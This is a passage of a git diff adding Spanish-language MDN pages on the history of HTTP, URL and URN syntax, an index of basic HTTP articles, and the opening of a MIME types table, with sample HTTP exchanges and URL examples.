+ <li>Con el uso de las cabeceras de HTTP, se pudieron transmitir otros documentos además de HTML, mediante la cabecera {{HTTPHeader("Content-Type")}}.</li>
+</ul>
+
+<p>Una petición normal, sigue la estructura: </p>
+
+<pre>GET /mypage.html HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:31 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/html
+&lt;HTML&gt;
+Una pagina web con una imagen
+  &lt;IMG SRC="/miImagen.gif"&gt;
+&lt;/HTML&gt;</pre>
+
+<p>Continua con una segunda conexión y la petición de una imagen:</p>
+
+<pre>GET /myImagen.gif HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:32 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/gif
+<em>(image content)</em></pre>
+
+<p>Estas innovaciones, no se desarrollaron de forma planeada, sino más bien con una aproximación de prueba y error, entre los años 1991 y 1995: un servidor y un navegador, añadían una nueva funcionalidad y se evaluaba su aceptación. Debido a esto, en ese periodo eran muy comunes los problemas de interoperatividad.  En Noviembre de 1996, para poner fin a estos problemas se publicó un documento informativo que describía las prácticas adecuadas, {{RFC(1945)}}. Esté documento es la definición del protocolo HTTP/1.0. Resulta curioso, que realmente no es un estándar oficial. </p>
+
+<h2 id="HTTP1.1_–_El_protocolo_estándar.">HTTP/1.1 – El protocolo estándar.</h2>
+
+<p>En paralelo al uso, un poco desordenado, y las diversas implementaciones de HTTP/1.0, y desde el año 1995,  un año antes de la publicación del documento del HTTP/1.0, un proceso de estandarización formal ya estaba en curso. La primera versión estandarizada de HTTP: el protocolo HTTP/1.1, se publicó en 1997, tan solo unos meses después del HTTP/1.0 </p>
+
+<p>HTTP/1.1 aclaró ambigüedades y añadió numerosas mejoras: </p>
+
+<ul>
+ <li>Una conexión podía ser reutilizada, ahorrando así el tiempo de re-abrirla repetidas veces para mostrar los recursos empotrados dentro del documento original pedido.</li>
+ <li>Enrutamiento ('Pipelining' en inglés) se añadió a la especificación, permitiendo realizar una segunda petición de datos, antes de que fuera respondida la primera, disminuyendo de este modo la latencia de la comunicación.</li>
+ <li>Se permitió que las respuestas a peticiones, podían ser divididas en sub-partes.</li>
+ <li>Se añadieron controles adicionales a los mecanismos de gestión de la cache. </li>
+ <li>La negociación de contenido, incluyendo el lenguaje, el tipo de codificación, o tipos, se añadieron a la especificación, permitiendo que servidor y cliente, acordasen el contenido más adecuado a intercambiarse. </li>
+ <li>Gracias a la cabecera, {{HTTPHeader("Host")}}, pudo ser posible alojar varios dominios en la misma dirección IP. </li>
+</ul>
+
+<p>El flujo normal de una serie de peticiones y respuestas, bajo una única conexión, se expone a continuación:</p>
+
+<pre>GET /en-US/docs/Glossary/Simple_header HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
+
+200 OK
+Connection: Keep-Alive
+Content-Encoding: gzip
+Content-Type: text/html; charset=utf-8
+Date: Wed, 20 Jul 2016 10:55:30 GMT
+Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a"
+Keep-Alive: timeout=5, max=1000
+Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT
+Server: Apache
+Transfer-Encoding: chunked
+Vary: Cookie, Accept-Encoding
+
+<em>(...contenido...)</em>
+
+
+GET /static/img/header-background.png HTTP/1.1
+Host: developer.cdn.mozilla.net
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: */*
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
+
+200 OK
+Age: 9578461
+Cache-Control: public, max-age=315360000
+Connection: keep-alive
+Content-Length: 3077
+Content-Type: image/png
+Date: Thu, 31 Mar 2016 13:34:46 GMT
+Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT
+Server: Apache
+
+<em>(image content of 3077 bytes)</em></pre>
+
+<p>HTTP/1.1 fue publicado inicialmente como {{rfc(2068)}} en Enero de 1997.</p>
+
+<h2 id="Más_de_15_años_de_expansiones">Más de 15 años de expansiones</h2>
+
+<p>Gracias a su expansibilidad - ya que la creación de nuevas cabeceras o métodos es sencilla - e incluso teniendo en cuenta que el protocolo HTTP/1.1 fue mejorado en dos revisiones: la primera, el documento {{RFC("2616")}}, publicado en Junio de 1999 y posteriormente en los documentos {{RFC("7230")}}-{{RFC("7235")}} publicados en Junio del 2014, en previsión de la publicación de HTTP/2. Así pues, el protocolo HTTP/1.1 ha sido increíblemente estable durante más de 15 años.</p>
+
+<h3 id="El_uso_de_HTTP_para_transmisiones_seguras">El uso de HTTP para transmisiones seguras</h3>
+
+<p>El mayor cambio en el desarrollo de HTTP, fue a finales de 1994. En vez de trasmitir HTTP sobre la capa de TCP/IP, se creo una capa adicional sobre esta: SSL. La versión SSL 1.0 nunca fue publicada fuera de las compañías desarrolladoras, pero el SSL 2.0 y sus sucesoras SSL 3.0 y SSL 3.1 permitieron la creación del comercio electrónico en la Web (e-commerce), encriptando y garantizando la autenticidad de los mensajes intercambiados entre servidor y cliente. SSL se añadió a la lista de estándares y posteriormente evolucionó hasta ser el protocolo TLS, con versiones 1.0, 1.1 y 1.2, que fueron apareciendo para resolver vulnerabilidades. Actualmente se está desarrollando el protocolo TLS 1.3.</p>
+
+<p>Durante el mismo periodo, la necesidad por una capa de trasporte encriptada aumentó; la Web, que permitía una relativa confianza de lo que era una mayoría de trabajo académico, pasó a ser una jungla donde anuncios, individuos aleatorios o criminales competían para obtener tanta información privada sobre la gente como pudieran, o trataban de suplantarlos o incluso sustituir los datos trasmitidos por otros alterados. A medida que hubo aplicaciones que se desarrollaban y funcionaban sobre HTTP, fueron más y más funcionales, tener acceso a más y mayor información personal como contactos, e-mails, o posición geográfica del usuario, la necesidad de tener el protocolo TLS, fue fundamental incluso fuera del ámbito del comercio electrónico.</p>
+
+<h3 id="Uso_de_HTTP_para_aplicaciones_complejas">Uso de HTTP para aplicaciones complejas</h3>
+
+<p>La visión original de Tim Berners-Lee para la Web no era solo un medio de 'solo' lectura. Él había visionado una Web donde la gente pudiese añadir y mover documentos de forma remota, un estilo de sistema de archivos distribuido. Sobre el año 1996, HTTP se había desarrollado para  permitir la autoría, y fue creado un estándar denominado WebDAB. Este fue más tarde ampliado por aplicaciones especificas como CardDAV, para permitir libros de direcciones, y CalDAV para trabajar con calendarios. Pero todos estas extensiones  '*DAV', tenían una debilidad, y es que debian ser implementadas por los servidores, para poder ser usadas, lo cual era bastante complejo. Así pues su uso en la Web fue bastante acotado. </p>
+
+<p>En el año 2000, un nuevo formato para usar HTTP fue diseñado: REST (del inglés:  '{{glossary("REST", "Representational State Transfer")}}'). Las acciones de la nueva API, no estaban supeditadas a nuevos métodos HTTP, unicamente al acceso a URIs especificas con métodos HTTP/1.1). Esto permitió que cualquier aplicación Web dispusiera de una API, para permitir la recuperación y modificación de datos, sin tener que actualizar servidores o navegadores; todo lo que se necesitaba era incluido en los archivos servidos por los sitios Web. La contrapartida del modelo REST está en que cada sitio Web define su propia versión no estándar de API RESTful y tiene un control total sobre ella; al contrario del formato *DAV donde clientes y servidores eran interoperables. La arquitectura REST empezó a ser muy común a partir del año 2010.</p>
+
+<p>Desde el año 2005, las APIs disponibles para páginas Web a aumentado considerablemente, y muchas de estas nuevas APIs dependen de cabeceras HTTP específicas para funciones concretas: </p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Server-sent_events">Eventos enviados por el servidor</a>: El servidor es el que ocasionalmente inicia los mensajes hacia el navegador. </li>
+ <li><a href="/en-US/docs/Web/API/WebSocket_API">WebSocket</a>, un nuevo protocolo que puede establecerse actualizando una conexión HTTP existente.</li>
+</ul>
+
+<h3 id="Relajación_del_modelo_de_seguridad_de_la_Web">Relajación del modelo de seguridad de la Web</h3>
+
+<p>El protocolo HTTP es independiente del modelo de seguridad de la Web: la <a href="/en-US/docs/Web/Security/Same-origin_policy">política del mismo origen</a>. De hecho, el actual modelo de seguridad de la Web, ha sido desarrollado con posterioridad  a la creación del protocolo HTTP. A lo largo de los años, se ha probado útil, poder ser más permisivo con ella, permitiendo que bajo ciertos requerimientos se puedan levantar algunas de las restricciones de esta política. Cuanto y cuantas de estas restricciones se pueden saltar es comunicado desde el servidor al cliente, mediante una serie de nuevas cabeceras HTTP. Estas están especificadas en los documentos como CORS ( del inglés <a href="/en-US/docs/Glossary/CORS">Cross-Origin Resource Sharing</a>, que viene a significar: recursos compartidos de orígenes cruzados) y el CSP (del inglés: <a href="/en-US/docs/Web/Security/CSP">Content Security Policy</a> , que traducido es: política de seguridad de contenidos).</p>
+
+<p>Además de estas ampliaciones, muchas otras cabeceras han sido añadidas, algunas unicamente experimentales. Algunas de ellas notables son: Do Not Track ({{HTTPHeader("DNT")}}); cabecera de control de privacidad:  {{HTTPHeader("X-Frame-Options")}}, y  {{HTTPHeader('Upgrade-Insecure-Requests')}}.</p>
+
+<h2 id="HTTP2_–_Un_protocolo_para_un_mayor_rendimiento">HTTP/2 – Un protocolo para un mayor rendimiento</h2>
+
+<p>A lo largo de los años, las páginas Web han llegado a ser mucho más complejas, incluso llegando a poder considerarse como aplicaciones por derecho propio. La cantidad de contedio visual, el tamaño de los scripts, y los scripts que añaden interactividad ha aumentado mucho también. Muchismos más datos son transmitidos bajo muchas mas peticiónes HTTP. Las conexiones HTTP/1.1 han de enviar las peticiones HTTP en el orden correcto. Teóricamente, seria posible usar varias conexiones en paralelo (normalmente entre 5 y 8), aumentando consecuentemente la complejidad del proceso. Por ejemplo, el HTTP 'pipelining' ha demostrado ser un lastre para el desarrollo Web. </p>
+
+<p>En la primera mitad de la década de 2010, Google demostró un proceso alternativo para el intercambio de data entre clientes y servidores, implementando el protocolo experimental SPDY (pronunciado como en inglés <em>'speedy'</em>). Este atrajo mucho interés por los desarrolladores de tanto los navegadores como los servidores. Definiendo una mejora en los tiempos de respuesta, y resolviendo el problema de datos duplicados transmitidos. SPDY sirvió como base para el desarrollo del protocolo HTTP/2. </p>
+
+<p>El protocolo HTTP/2, tiene notables diferencias fundamentales respecto a la versión anterior HTTP/1.1</p>
+
+<ul>
+ <li>Es un protocolo binario, en contraposición a estar formado por cadenas de texto, tal y como estában basados sus protocolos anteriores. Así pues no se puede leer directamente, ni crear manualmente A pesar de este inconveniente, gracias a este cambio es posible utilizar en él técnicas de optimización. </li>
+ <li>Es un protocolo multiplexado. Peticiones paralelas pueden hacerse sobre la misma connexión, no está sujeto pues a mantener el orden de los mensajes, ni otras restricciónes que tenian los protocolos anteriores HTTP/1.x</li>
+ <li>Comprime las cabeceras, ya que estas, normalmente son similares en un grupo de peticiones. Esto elimina la duplicación y retardo en los datos a transmitir. </li>
+ <li>Esto permite al servidor almacenar datos en la caché del cliente, previamente a que estos sean pedidos, mediante un mecanismo denominado '<em>server push</em>'.</li>
+</ul>
+
+<p>Estandarizado de manera oficial en Mayo de 2015, HTTP/2 ha conseguido muchos éxitos. En Julio de 2016, un 8.7% de todos los sitios Web<sup><a href="https://w3techs.com/technologies/details/ce-http2/all/all">[1]</a></sup> estaban usandolo ya, representando más del 68% de todo su tráfico<sup><a href="https://www.keycdn.com/blog/http2-statistics/">[2]</a></sup>. Los sitios Web con mucho tráfico, fueron aquellos que lo adoptaron más rápidamente, ahorrando considerablemente las sobrecargas en la transferencia de datos, ... y en sus presupuestos.</p>
+
+<p>Esta rápida adopción era esperada, ya que el uso de HTTP/2, no requiere de una adaptación de los sitios Web y aplicaciones: el uso de HTTP/1.1 o HTTP/2 es transparente para ellos. El uso de un servidor actual, comunicandose con un navegador actualizado, es suficiente para permitir su uso: únicamente en casos partículares fue necesario impulsar su utilización; y según se actualizan servidores y navegadores antiguos, su utilización aumenta, sin que requiera un mayor esfuerzo de los desarrolladores Web.</p>
+
+<h2 id="Post-evolución_del_HTTP2">Post-evolución del HTTP/2</h2>
+
+<p>Con la publicación de la versión del protocolo HTTP/2, esté no ha dejado de evoluciónar. Como con el HTTP/1.x, anteriormente, la extensibilidad del HTTP se sigue usando para añadir nuevas funcionalidades. Podemos enumerar algunas de estas nuevas características que se desarrollaron en el año 2016: </p>
+
+<ul>
+ <li>Soporte de la cabecera {{HTTPHeader("Alt-Svc")}}, la cual permite disociar la identificación de una ubicación, con respecto a un recurso pedido, permitiendo el uso más inteligente de los mecanismos de cacheo de memoria de los {{Glossary("CDN")}}.</li>
+ <li>La introducción de la cabecera {{HTTPHeader("Client-Hints")}}, que permíte al navegador, o cliente, comunicar proactivamente al servidor, sus necesidades o restricciones de hardware.</li>
+ <li>La introducción de prefijos de seguridad en la cabecera {{HTTPHeader("Cookie")}}, esto ayuda a garantizar que una cookie, no ha sido alterada.</li>
+</ul>
+
+<p>Esta evolución del HTTP demuestra su capacidad de ampliación y simplicidad, permitiendo así de forma deliverada su uso para muchas aplicaciónes y favoreciendo el uso de este protocolo. El entorno en el que el HTTP se usa hoy en día, es muy distinto al que habia a principios de la década de 1990. El desarrollo original de HTTP, ha demostrado ser una obra maestra, permitiendo a la Web evolucionar a lo largo de un cuarto de siglo, sin la necesidad de un 'amotinamiento'. Corrigiendo errores, y manteniendo la flexibilidad y extensibilidad que han hecho al HTTP un éxito, la adopción del HTTP/2 tiene un brillante futuro.</p>
diff --git a/files/es/web/http/basics_of_http/identificación_recursos_en_la_web/index.html b/files/es/web/http/basics_of_http/identificación_recursos_en_la_web/index.html
new file mode 100644
index 0000000000..f666c9240f
--- /dev/null
+++ b/files/es/web/http/basics_of_http/identificación_recursos_en_la_web/index.html
@@ -0,0 +1,169 @@
+---
+title: Identificación de recursos web
+slug: Web/HTTP/Basics_of_HTTP/Identificación_recursos_en_la_Web
+translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">El objetivo de una solicitud HTTP se denomina "recurso", (es decir: datos), y dicho recurso, no posee un tipo definido por defecto; puede ser un documento, o una foto, o cualquier otra posibilidad. Cada recurso es identificado por un Identificador Uniforme de Recursos ({{Glossary("URI")}})  y es utilizado a través de HTTP, para la identificación del tipo de recurso.</p>
+
+<p>La identidad y la localización del recursos en la Web son en su mayoria proporcionados por una sola dirección URL (Localicador de Recursos Uniforme; un tipo de URI). A veces, el mismo URI no proporciona la identidad ni la ubicación: HTTP usa un encabezado HTTP especifico, {{HTTPHeader("Alt-Svc")}} cuando el recurso solicitado por el cliente quiere acceder a él en otra ubicación.</p>
+
+<h2 id="URLs_and_URNs">URLs and URNs</h2>
+
+<h3 id="URLs">URLs</h3>
+
+<p>La forma más común de URI es la ({{Glossary("URL")}}) (de las siglas en ingles: "<em>Uniform Resource Locator</em>", que podría traducirse como: Localizador Uniforme de Recursos), <em>que se conoce como la dirección web.</em></p>
+
+<pre>https://developer.mozilla.org
+https://developer.mozilla.org/en-US/docs/Learn/
+https://developer.mozilla.org/en-US/search?q=URL</pre>
+
+<p>Cualquiera de estas URLs se pueden escribir en la barra de direcciones de su navegador para decirle que cargue la pagina asociada (recurso).</p>
+
+<p>Una URL esta compuesta de diferentes partes, algunas obligatorias y otras son opcionales. Un ejemplo más complejo podría tener este aspecto:</p>
+
+<pre>http://www.example.com:80/path/to/myfile.html?key1=value1&amp;key2=value2#SomewhereInTheDocument</pre>
+
+<h3 id="URNs">URNs</h3>
+
+<p><span id="result_box" lang="es"><span>Un</span> <span>URN</span> <span>es</span> <span>una URI que</span> <span>identifica un recurso</span> <span>por su nombre en</span> <span>un espacio de nombres</span> <span>particular.</span></span></p>
+
+<pre>urn:isbn:9780141036144
+urn:ietf:rfc:7230
+</pre>
+
+<p>Las dos URNs corresponden a</p>
+
+<ul>
+ <li>El libro "1984" por George Orwell,</li>
+ <li>La especificación IETF 7230, Hypertext Transfer Protocol (HTTP/1.1): Sintaxis de Mensajes y Enrutamiento.</li>
+</ul>
+
+<h2 id="Sintaxis_de_Identificador_Uniforme_de_Recursos_(URIs)">Sintaxis de Identificador Uniforme de Recursos (URIs)</h2>
+
+<h3 id="sect1"> </h3>
+
+<h3 id="Esquema_o_protocolo">Esquema o protocolo</h3>
+
+<dl>
+ <dt><img alt="Protocol" src="https://mdn.mozillademos.org/files/8013/mdn-url-protocol@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>http://</code> es el protocolo. Indica que el protocolo debe utilizar el navegador. Por lo general, es el protocolo HTTP o su versión segura, HTTPS. La Web requiere de uno de estos dos, pero los navegadores también saben como manejar otros protocolos como  <code>mailto:</code> (para abrir un cliente de correo) o <code>ftp:</code> para manejar la transferencia de archivos, por lo que no se sorprenda si usted ve este tipo de protocolos. Los esquemas comunes son:</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Esquema</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>data</td>
+   <td><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">Datos URIs</a></td>
+  </tr>
+  <tr>
+   <td>file</td>
+   <td>Host-nombre de archivo específicos</td>
+  </tr>
+  <tr>
+   <td>ftp</td>
+   <td><a href="/en-US/docs/Glossary/FTP">Protocolo de Transferencia de  Archivos</a></td>
+  </tr>
+  <tr>
+   <td>http/https</td>
+   <td><a href="/en-US/docs/Glossary/HTTP">Protocolo de transferencia de Hipertexto (Seguro)</a></td>
+  </tr>
+  <tr>
+   <td>mailto</td>
+   <td>Dirección de correo electrónico</td>
+  </tr>
+  <tr>
+   <td>ssh</td>
+   <td>shell seguro</td>
+  </tr>
+  <tr>
+   <td>tel</td>
+   <td>teléfono</td>
+  </tr>
+  <tr>
+   <td>urn</td>
+   <td>Nombres Uniformes de Recursos</td>
+  </tr>
+  <tr>
+   <td>view-source</td>
+   <td>Código fuente del recurso</td>
+  </tr>
+  <tr>
+   <td>ws/wss</td>
+   <td>(Encriptado) conexiones <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Autoridad">Autoridad</h3>
+
+<dl>
+ <dt><img alt="Domaine Name" src="https://mdn.mozillademos.org/files/8015/mdn-url-domain@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>www.example.com</code> es el nombre de dominio o autoridad que gobierna el espacio de nombres. Indica cuando es solicitado el servidor Web . Alternativamente, Es posile usar directamente una {{Glossary("IP address")}}, pero debido a que es menos conveniente, no se usa muy amenudo en la Web.</dd>
+</dl>
+
+<h3 id="Puerto">Puerto</h3>
+
+<dl>
+ <dt><img alt="Port" src="https://mdn.mozillademos.org/files/8017/mdn-url-port@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>:80</code> es el puerto en este caso. Indica la técnica "puerta" usada para acceder a los recursos en el servidor web. Usualmente es omitido si el servidor web usa los puertos estándares del protocolo HTTP (80 para HTTP y 443 para HTTPS) para permitir el acceso a sus recursos. De lo contrario, es obligatorio.</dd>
+</dl>
+
+<h3 id="Ruta_de_Acceso">Ruta de Acceso</h3>
+
+<dl>
+ <dt><img alt="Path to the file" src="https://mdn.mozillademos.org/files/8019/mdn-url-path@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>/path/to/myfile.html</code> es la ruta de acceso al recurso en el servidor Web. En los primeros dias de la Web, una ruta como esta presentaba la ubicación fisica del archivo en el servidor Web. Hoy en día, es sobre todo una abstracción manejada por los servidores Web sin ningún tipo de realidad fisica.</dd>
+</dl>
+
+<h3 id="Consulta">Consulta</h3>
+
+<dl>
+ <dt><img alt="Parameters" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>?key1=value1&amp;key2=value2</code> son unos parametros adicionales proporcionados al servidor Web. Esos parámetros son una lista de pares llave/valores separados por el simbolo &amp;. El servidor Web puede utilizar estos parámetros para hacer cosas adicionales antes de retornar el recurso al usuario. Cada servidor Web tiene sus propias reglas con respecto a los parametros, y la única manera confiable de saber cómo un servidor web especifico está manejando parametros es preguntando al usuario del servidor web.</dd>
+</dl>
+
+<h3 id="Fragmento">Fragmento</h3>
+
+<dl>
+ <dt><img alt="Anchor" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>#SomewhereInTheDocument</code> es una referencia a otra parte del propio recurso. Esto representa una especie de "marcador" dentro del recurso, otorgandole al navegador las instrucciones para mostrar el contenido que se encuentra en esa referencia señalada. En un documento HTML, por ejemplo, el navegador se desplazará hasta el punto donde se define el fragmento; en un video o documento de audio, el navegador intentará ir a la vez que el ancla se presenta. Vale la pena señalar que la parte despues de la  #, también conocido como indentificador de fragmento, nunca se envia al servidor con la solicitud.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>https://developer.mozilla.org/en-US/docs/Learn
+tel:+1-816-555-1212
+git@github.com:mdn/browser-compat-data.git
+ftp://example.org/resource.txt
+urn:isbn:9780141036144
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">Qué es una URL?</a></li>
+ <li><a href="http://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml">Lista de esquemas URI IANA </a></li>
+</ul>
diff --git a/files/es/web/http/basics_of_http/index.html b/files/es/web/http/basics_of_http/index.html
new file mode 100644
index 0000000000..1e4a404cbb
--- /dev/null
+++ b/files/es/web/http/basics_of_http/index.html
@@ -0,0 +1,51 @@
+---
+title: Conceptos básicos de HTTP
+slug: Web/HTTP/Basics_of_HTTP
+tags:
+  - HTTP
+  - NeedsTranslation
+  - Overview
+  - TopicStub
+translation_of: Web/HTTP/Basics_of_HTTP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">El protocolo HTTP es un protocolo ampliable, es decir se puede añadir "vocabulario". HTTP está basado en unos pocos conceptos básicos como el concepto de recursos y URIs, una estructura sencilla de mensajes, y una arquitectura de cliente-servidor para ordenar el flujo de las comunicaciones. A demás de estos conceptos, a lo largo de su desarrollo han aparecido otros nuevos y se han añadido funcionalidades y reglas semánticas, creando nuevos métodos y cabeceras.</p>
+
+<h2 id="Artículos">Artículos</h2>
+
+<dl>
+ <dt><a href="/es/docs/Web/HTTP/Overview">Generalidades del HTTP</a></dt>
+ <dd>Descripción de qué es el protocolo HTTP y su función en la arquitectura de la Web. </dd>
+ <dt><a href="/es/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Evolución del HTTP</a> </dt>
+ <dd>HTTP fue creado a comienzos de la década de 1990s y ha sido ampliado con nuevas versiones varias veces. En este artículo se expone la evolución de su desarrollo y las versiones HTTP/0.9, HTTP/1.0, HTTP/1.1 y la última versión HTTP/2 así como detalles de las funciones que se han ido incluyendo.</dd>
+ <dt><a href="/es/docs/Web/HTTP/Basics_of_HTTP/Negotiating_an_HTTP_version">Negociación de la versión de HTTP </a></dt>
+ <dd>Se explica como un cliente y un servidor pueden negociar una versión específica de HTTP y eventualmente actualizar la version usada.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Resources_and_URIs">Recursos y URIs</a></dt>
+ <dd>Una breve descripción sobre qué son los recursos, identificadores y localidades en la Web. </dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identificación de recursos en la Web</a> </dt>
+ <dd>Descripción de como se referencian recursos en la Web, como son referenciados y como localizarlos. </dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">URIs de datos</a> </dt>
+ <dd>Hay un tipo de URIs que permiten integrar directamente el recurso al que señalan. Los URIs de datos, son muy ventajosos, pero también tienen algunas desventajas. </dd>
+ <dt><a href="/es/docs/Web/HTTP/Basics_of_HTTP/Resource_URLs">URLs de recursos</a></dt>
+ <dd>Los recursos URL, prefijados con <code>resource:</code> en vez de <code>http </code>son usados por Firefox y algunas extensiones del navegador para cargar recursos internamente, <span class="tlid-translation translation" lang="es"><span title="">pero parte de la información también está disponible para los sitios a los que se conecta el navegador.</span></span><br>
+  </dd>
+ <dt>Separación de la identidad y la localización de un recurso: la cabecera Alt-Svc</dt>
+ <dd>En la mayoría de los casos, la identidad y localización de un recurso Web, son compartidos, esto se puede modificar con la cabecera de HTTP: {{HTTPHeader("Alt-Svc")}}.</dd>
+ <dt><a href="/es/docs/Web/HTTP/Basics_of_HTTP/MIME_types">Tipos MIME </a></dt>
+ <dd>Desde la versión HTTP/1.0, es posible trasmitir distintos formatos de recursos. En este artículo se explica como se hace, usando la cabecera: {{HTTPHeader("Content-Type")}}, y el estándar MIME. </dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">Elección de URLs: www y no-www</a></dt>
+ <dd>Recomendación sobre el uso de dominios con prefijo www o no. En este artículo se explican los resultados de la elección y cómo hacerla. </dd>
+ <dt><a href="/es/docs/Web/HTTP/Basics_of_HTTP/Resource_URLs">Flujo de comunicación en una sesión HTTP</a></dt>
+ <dd>En este artículo se describe una comunicación típica de una sesión HTTP, y lo que sucede internamente cuando se hace click en un hiper-vínculo.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Messages">Mensajes HTTP</a></dt>
+ <dd>Los mensajes HTTP, sean peticiones o respuestas, siguen una estructura muy concreta; en este artículo se describe su estructura, su propósito y posibilidades. </dd>
+ <dt><a href="/es/docs/Web/HTTP/Frame%20and%20message%20structure%20in%20HTTP_2">Tramas y estructura de los mensajes en HTTP/2</a></dt>
+ <dd>La versión HTTP/2 encapsula y representa los mensajes de HTTP/1.x pero en tramas binarias. En este artículo se explica la estructura y los campos de las tramas, su finalidad y cómo se codifica. </dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Proceso de conexión en HTTP/1.x</a></dt>
+ <dd>HTTP/1.1 fue la primera versión de HTTP que soportó las conexiones persistentes y el <em>pipelining</em>. En este artículo se explican estos dos conceptos.</dd>
+ <dt><a href="/es/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Proceso de conexión en HTTP/2 </a></dt>
+ <dd>HTTP/2 revisó completamente, los métodos de negociación, creación y mantenimiento de conexiones: en este artículo se explica como se puede conseguír la multiplexación de las tramas y resolver el problema de 'head-of-line', que tenían las versiones anteriores de HTTP.  </dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Content_negotiation">Negociación de contenidos</a></dt>
+ <dd>HTTP presenta una serie de cabeceras que comienzan con  <code>Accept-</code> como medio para notificar al navegador, el formato, lenguaje, o codificación que prefiere.  En este artículo se explica el este proceso, como debe actuar el servidor, y como se elige la respuesta más apropiada.</dd>
+</dl>
diff --git a/files/es/web/http/basics_of_http/mime_types/common_types/index.html b/files/es/web/http/basics_of_http/mime_types/common_types/index.html
new file mode 100644
index 0000000000..466138012c
--- /dev/null
+++ b/files/es/web/http/basics_of_http/mime_types/common_types/index.html
@@ -0,0 +1,321 @@
+---
+title: Lista completa de tipos MIME
+slug: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
+tags:
+  - Archivos
+  - Audio
+  - HTTP
+  - MIME
+  - Referencia
+  - Texto
+  - Tipos
+  - Tipos MIME
+  - Tipos de archivo
+  - Video
+translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="short_text" id="result_box" lang="es"><span>Aquí está una lista completa de</span></span> tipos de MIME, asociados por tipo de documentos y  ordenados por su extensión común.</p>
+
+<p>Dos tipos primarios de MIME son importantes para el rol de tipos por defecto:</p>
+
+<ul>
+ <li><code>text/plain</code> es el valor por defecto para los archivos textuales. Un archivo textual debe ser legible y no puede contener datos binarios.</li>
+ <li><code>application/octet-stream</code> es el valor por defecto para todos los demás casos. Un tipo de archivo desconocido debe usar este tipo. Los navegadores tienen un cuidado particular cuando manipulan estos archivos, tratando de proteger al usuario previéndo comportamientos peligrosos.</li>
+</ul>
+
+<p>IANA es el registro oficial de los tipos de media MIME y mantiene una <a href="http://www.iana.org/assignments/media-types/media-types.xhtml">lista oficial de todos los tipos de MIME</a>. Esta tabla, lista algunos de los tipos de MIME importantes para la web:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Extensión</th>
+   <th scope="col">Tipo de documento</th>
+   <th scope="col">Tipo de MIME</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>.aac</code></td>
+   <td>Archivo de audio AAC</td>
+   <td><code>audio/aac</code></td>
+  </tr>
+  <tr>
+   <td><code>.abw</code></td>
+   <td>Documento <a href="https://en.wikipedia.org/wiki/AbiWord">AbiWord</a></td>
+   <td><code>application/x-abiword</code></td>
+  </tr>
+  <tr>
+   <td><code>.arc</code></td>
+   <td>Documento de Archivo (múltiples archivos incrustados)</td>
